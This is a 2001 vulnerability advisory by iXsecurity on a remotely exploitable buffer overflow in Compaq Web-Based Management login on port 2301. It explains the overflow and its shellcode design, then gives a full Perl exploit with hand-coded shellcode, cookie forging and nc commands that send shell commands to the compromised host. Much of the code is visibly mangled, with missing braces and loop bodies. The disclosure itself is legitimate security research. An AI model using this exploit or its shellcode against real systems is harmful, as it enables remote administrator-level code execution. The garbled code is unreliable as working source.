[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
- read forum
- new topic
- search

- meetings list
- recent additions
- add your info
 top 100 sites
- visit top sites
- sign up now
- members

- add your url
- add domain
- search box
- link to us

- our projects
- free email
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : The authentication of Compaq Web-Based Management contains a remotely exploitable buffer overflow

Title: The authentication of Compaq Web-Based Management contains a remotely exploitable buffer overflow
Released by: iXsecurity
Date: 15th January 2001
Printable version: Click here
iXsecurity Security Vulnerability Report

No: iXsecurity.20001120.compaq-authbo.a


Vulnerability Summary


Problem:  The authentication of Compaq Web-Based

               Management contains a remotely

               exploitable buffer overflow

Threat:   Anyone that has access to port 2301 on a

               Windows NT server can run arbitrary

               code as Administrators (like RDS)

Affected Software: Compaq Management Agents

               (Software version 4.70 verified)

Verified Platforms: Windows NT SP3 and SP6a

Solution: Install patch

Vulnerability Description


http://Server.with.CWBM:2301/cpqlogin.htm is

accessible for everyone by default and contains a

remotely exploitable buffer overflow.

Additional Vulnerability Information


Compaq Management Agents and Compaq Web-Based Management

is installed by default using the SmartStart CD.

The Web-Based Management binds to port 2301 and the java

applet (on http://IP:2301/cpqlogin.htm) that is used for

an user to log in, sends username and encrypted

password to http://IP:2301/Proxy/LoginResponse.


Due to the lack of bounds checking, the user name sent to

this URL can be used to overwrite the EIP. This happens when

the user name is exactly 460 bytes long. If the user name is

more than 460 bytes, but less than (about) 1500 bytes,

another overflow occurs that we cannot currently exploit.

If the user name is over 1500 bytes, an error message is

returned! This is interesting, because it seems like there

is *some* kind of bounds checking after all. It just doesn't

work properly. Before the fatal return instruction, there is

a POP EBP, so EBP is also overwritten.

Our initial research indicates that the stack for this

process is always placed at the virtual address 0x00fdffff

(on Windows NT SP3) and growing up towards lower addresses

(as usual). At the moment, we use this fact to do a direct

jump to the assumed beginning of the buffer. Since we are way

below 452 bytes, we use the spare bytes in the beginning for

a NOP sled.


With this setup, we have a maximum of 452 bytes to use for

the payload. Barnaby Jack's frequently used (and very nice)

payload vector is closer to 600 bytes, so we take a slightly

different approach. First, we use a datagram socket instead

of a stream socket. That saves us a few bytes. Then we don't

use anonymous pipes and don't return anything to the client.

That makes it less user friendly, but saves us a lot of

bytes. Finally, we use WinExec instead of creating a cmd.exe

process. This saves some bytes. Eventually this affects our

rights, but we can at least still run rdisk and copy the sam

file. That takes us a long way in proof-of-concept terms.

Using this approach we are aldready way below our 453 byte

limit. Actually this code is about 256 bytes. Happy about

reaching the goal directly, we have not even tried to

optimized the code. Therefore it will be easy to get it

even smaller if it is necessary. Drop us a line if you do

it or if you need any help to do it.

Other Information


Some Compaq installations have ports 49400 and 49401 open

too. These ports are not verified.

This vulnerability has already been reported to

the Securityfocus Vulnerability Database:


Vendor contacts and solution



Compaq wants iXsecurity to 'Contact your local Compaq

Worldwide office for escalation'.

TRACKING NUMBER: A00000399318-00001263158.

2/1-2001 Escalated

Case id SSRT0705 CIM Buffer overflow.


Compaq choose not to attribute the discovery to iXsecurity.

10/1-2001 Solution

Compaq Advisory located:


Greetings and credits


Greg Höglund, as always when it comes to NT buffer overflows.

Barnaby Jack, for another great paper on the subject.

David Litchfield, for yet another great paper.

Obecian & Qwerty of Subterrain and Caezar of the Ghettohackers.


Ian Vitek, mailto:ian.vitek@ixsecurity.com

Anders Ingeborn, mailto:ingeborn@ixsecurity.com


iXsecurity (formerly Infosec) is a Swedish and United

Kingdom based tigerteam that has worked with computer-

related security since 1982. We have done technical security

audits (pentests) since 1996. iXsecurity is now searching

for co-workers in Sweden and in the UK.

Please call Christer Stafferod for more information

phone: +46-8-6621070



Proof of concept code



This Perl script uses MD5.

This code is using direct jumps. It may not work on your

system. It has only been tested on Windows NT SP3 and SP6a.

When investigating iXsecurity found the password hash

algorithm. This algorithm is used in the code to

create logon cookies. iXsecurity have written a Compaq

cookie password cracker using this algorithm and posted it

to Bugtraq. Bugtraq have chosen not to publish this tool.



$ver = "Comphack 1.3 -- iXsecurity Sweden, December 2000";

$code     = "Ian Vitek, ian.vitek\@ixsecurity.com";

$asm = "Anders Ingeborn, ingeborn\@ixsecurity.com";

$spam   = "We are now hiring in Sweden and United Kingdom";


use MD5;

use Socket;

require 'getopts.pl';

# Modified Sendraw - thanx RFP rfp@wiretrip.net

sub sendraw {

  # this saves the whole transaction anyway

  my ($pstr)=@_;

  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||

         die("Socket problems\n");

  if(connect(S,pack "SnA4x8",2,$port,$target)){

    my @in;



    print $pstr;

    sleep 20 if($exp);

    while(){ push @in, $_;}

    # Messing up FH 8) Dirty? Yupp!

    # Try to figure out why

    # Clue: Windows



    return @in;

  } else { die("\n  Can't connect...\n"); }



print "\n$ver\n  Perlcode: $code\n  ASM code: $asm\n";

die "  $spam\n\

usage: $0 -s  [options] \

\t-s      Host with Compaq Web Manager\

\t-p      Port (Def: 2301)\

\t-P      CMD.EXE port (Def: 23001)\

\t-m [3|6]      Service Pack (Def: 3)\

\t-h            This help\n\

Then send commands to port 23001/udp like this:\

echo \"cmd /c mkdir c:\\iXsecurity\" | nc -u  23001\n\n" if ( $opt_h || !

$opt_s || ! ( $opt_m==3 || $opt_m==6 || $opt_m eq "" ) );

$httphead="Referer: http://${opt_s}:2301/\

Connection: Keep-Alive\

User-Agent: Mozilla/4.73 [en] (X11; U; Linux 2.2.16 i686)\

Host: ${opt_s}:2301\

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\

Accept-Encoding: gzip\

Accept-Language: en\

Accept-Charset: iso-8859-1,*,utf-8";

$opt_p = 2301 if(!$opt_p);

$port = $opt_p;

$opt_P = 23001 if(!$opt_P);

$opt_P=$opt_P % 65536;

die "  int(CMDport/256) or (CMDport % 256) may not be 65!\n\n" if

(int($opt_P/256)==65 || ($opt_P % 256)==65);

$var1=int($opt_P/256) ^ 65;

$var2=($opt_P %256) ^ 65;


$target = inet_aton($opt_s);

$r = "\x0D\x0A";

$opt_m = 3 if(!$opt_m);


$offset="\xfa" if($opt_m==6);

$m = $opt_m;


## NOP sled

$payload = "";

$i = 0;

while( $i++ <= 207 )


     $payload .= "\x90";


$payload .= "\xbc\x41\x54\xf6$offset"; #qd4

$payload .= "\xc1\xec\x08"; #qd4

$payload .= "\xc1\xed\x08"; #qd3

$payload .= "\x31\xc9";

$payload .= "\x81\xc1\x41\x41\x41\x52";

$payload .= "\xc1\xe9\x18";

$payload .= "\x80\x74\x29\x01\x41"; #qd1

$payload .= "\xe2\xf9";

$payload .= "\x8d\x45\x02";

$payload .= "\x50";


if( $m == "3" ) #NT4SP3

     { $payload .= "\xb8\x56\x37\xf1\x77"; }

if( $m == "5" ) #NT4SP5

     { $payload .= "\xb8\xc9\x37\xf1\x77"; }

if( $m == "6" ) #NT4SP6

     { $payload .= "\xb8\xbd\x37\xf1\x77"; }

$payload .= "\xff\xd0";

$payload .= "\x89\xc3";


if( $m == "3" ) #NT4SP3

     { $payload .= "\xbe\x57\x3f\xf1\x77"; }

if( $m == "5" ) #NT4SP5

     { $payload .= "\xbe\xca\x3f\xf1\x77"; }

if( $m == "6" ) #NT4SP6

     { $payload .= "\xbe\xb3\x3f\xf1\x77"; }

$payload .= "\x8d\x45\x09"; #qd2

$payload .= "\x40"; #qd2

$payload .= "\x50";

$payload .= "\x53";

$payload .= "\xff\xd6";

$payload .= "\xab";

$payload .= "\x8d\x45\x11";

$payload .= "\x50";

$payload .= "\x53";

$payload .= "\xff\xd6";

$payload .= "\xab";

$payload .= "\x8d\x45\x16";

$payload .= "\x50";

$payload .= "\x53";

$payload .= "\xff\xd6";

$payload .= "\xab";

$payload .= "\x8d\x45\x1f";

$payload .= "\x50";


if( $m == "3" ) #NT4SP3

     { $payload .= "\xb8\x56\x37\xf1\x77"; }

if( $m == "5" ) #NT4SP5

     { $payload .= "\xb8\xc9\x37\xf1\x77"; }

if( $m == "6" ) #NT4SP6

     { $payload .= "\xb8\xbd\x37\xf1\x77"; }

$payload .= "\xff\xd0";

$payload .= "\x89\xc3";

$payload .= "\x8d\x45\x28";

$payload .= "\x50";

$payload .= "\x53";

$payload .= "\xff\xd6";

$payload .= "\xab";

$payload .= "\x31\xc0";

$payload .= "\x50";

$payload .= "\x40";

$payload .= "\x40";

$payload .= "\x50";

$payload .= "\x50";

$payload .= "\xff\x57\xf0";

$payload .= "\x89\xc3";

$payload .= "\x6a\x10";

$payload .= "\x8d\x45\x30";

$payload .= "\x50";

$payload .= "\x53";

$payload .= "\xff\x57\xf4";

$payload .= "\x8d\x45\x50";

$payload .= "\x50";

$payload .= "\x8d\x45\x40";

$payload .= "\x50";

$payload .= "\x31\xc0";

$payload .= "\x50";

$payload .= "\x6a\x7f";

$payload .= "\x8d\x07";

$payload .= "\x50";

$payload .= "\x53";

$payload .= "\xff\x57\xf8";

$payload .= "\x3c\x06";

$payload .= "\x0f\x8e\xe4\xff\xff\xff";

$payload .= "\x80\x64\x07\xff\x01";

$payload .= "\x8d\x07";

$payload .= "\x50";

$payload .= "\xff\x57\xfc";

$payload .= "\x39\xc0";

$payload .= "\x0f\x84\xd1\xff\xff\xff";

#data xor:ed with A

$payload .= "\x36\x32\x2e\x22\x2a\x72\x73\x41";

$payload .= "\x32\x2e\x22\x2a\x24\x35\x41";

$payload .= "\x23\x28\x2f\x25\x41";

$payload .= "\x33\x24\x22\x37\x27\x33\x2e\x2c\x41";

$payload .= "\x2a\x24\x33\x2f\x24\x2d\x72\x73\x41";

$payload .= "\x16\x28\x2f\x04\x39\x24\x22\x41";

$payload .= "\x43\x41";

# CMDport xored with x41x41

$payload .= $CMDport;

$payload .= "\x41\x41\x41\x41";

$payload .= "\x41\x41\x41\x41\x41\x41\x41\x41";

$payload .= "\x41\x41";

$payload .= "\x41\x41";

$payload .= "\x41\x41\x41\x41";

$payload .= "\x41\x41\x41\x41\x41\x41\x41\x41";

$payload .= "\x51\x41\x41\x41";

$ebp = "\x41\xc4\xf7$offset";

# Try to do a direct jump, cross your fingers

$eip = "\x54\xf6$offset\x00";

$payload = $payload.$ebp.$eip;

print "\n  Init by logging in as ixsecurity:is_hiring\n";

print "  Trying to bind CMD.EXE to UDP port $opt_P\n";

print "  Wait 10 seconds. Try then the command:\n";

print "  echo \"cmd /c mkdir c:\\cim_bo\" | nc -u $opt_s $opt_P\n";



sub cpqlogin {



  # Get loginpage and cookie

  @res = sendraw("GET /cpqlogin.htm HTTP/1.0${r}${httphead}$r$r");

  foreach $line (@res) {

    if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) {

      # Rebuild cookie to password respond

      $tmp=$2; $tmp++;




  $stringUserPass=$cpquser . ":" . $cpqpass;

  $md5StringUserPass=uc MD5->hexhash($stringUserPass);

  $loginCookie1=$ccoo . $cpquser . $md5StringUserPass;

  $md5LoginCookie=uc MD5->hexhash($loginCookie1);


  # Login

  @res = sendraw("GET /Proxy/LoginResponse HTTP/1.0${r}Accept: */*${r}Cookie:

${ccoo}${r}Compaq-WBEM-UserName: $cpquser$r$r");

  foreach $line (@res) {

    if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) {




  sleep 2;

  # Do some surfing

  @res = sendraw("GET / HTTP/1.0${r}${httphead}${r}Cookie: $ccoon$r$r");

  sleep 2;


sub sendexp {

  # Get loginpage and fresh cookie

  @res = sendraw("GET /cpqlogin.htm HTTP/1.0${r}${httphead}$r$r");

  foreach $line (@res) {

    if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) {

      # Rebuild cookie to password respond

      $tmp=$2; $tmp++;




  $stringUserPass="iXsecurity" . ":" . "iXsecurity";

  $md5StringUserPass=uc MD5->hexhash($stringUserPass);

  $loginCookie1=$ccoo . "iXsecurity" . $md5StringUserPass;

  $md5LoginCookie=uc MD5->hexhash($loginCookie1);



  # Send buffer...

  @res = sendraw("GET /Proxy/LoginResponse HTTP/1.0${r}Accept: */*${r}Cookie:

${ccoo}${r}Compaq-WBEM-UserName: $payload$r$r");

  die "  $0 failed!\n\n" if($res[0]=~/HTTP/);

  die "  Port $opt_P is now closed or $0 failed!\n\n";


(C) 1999-2000 All rights reserved.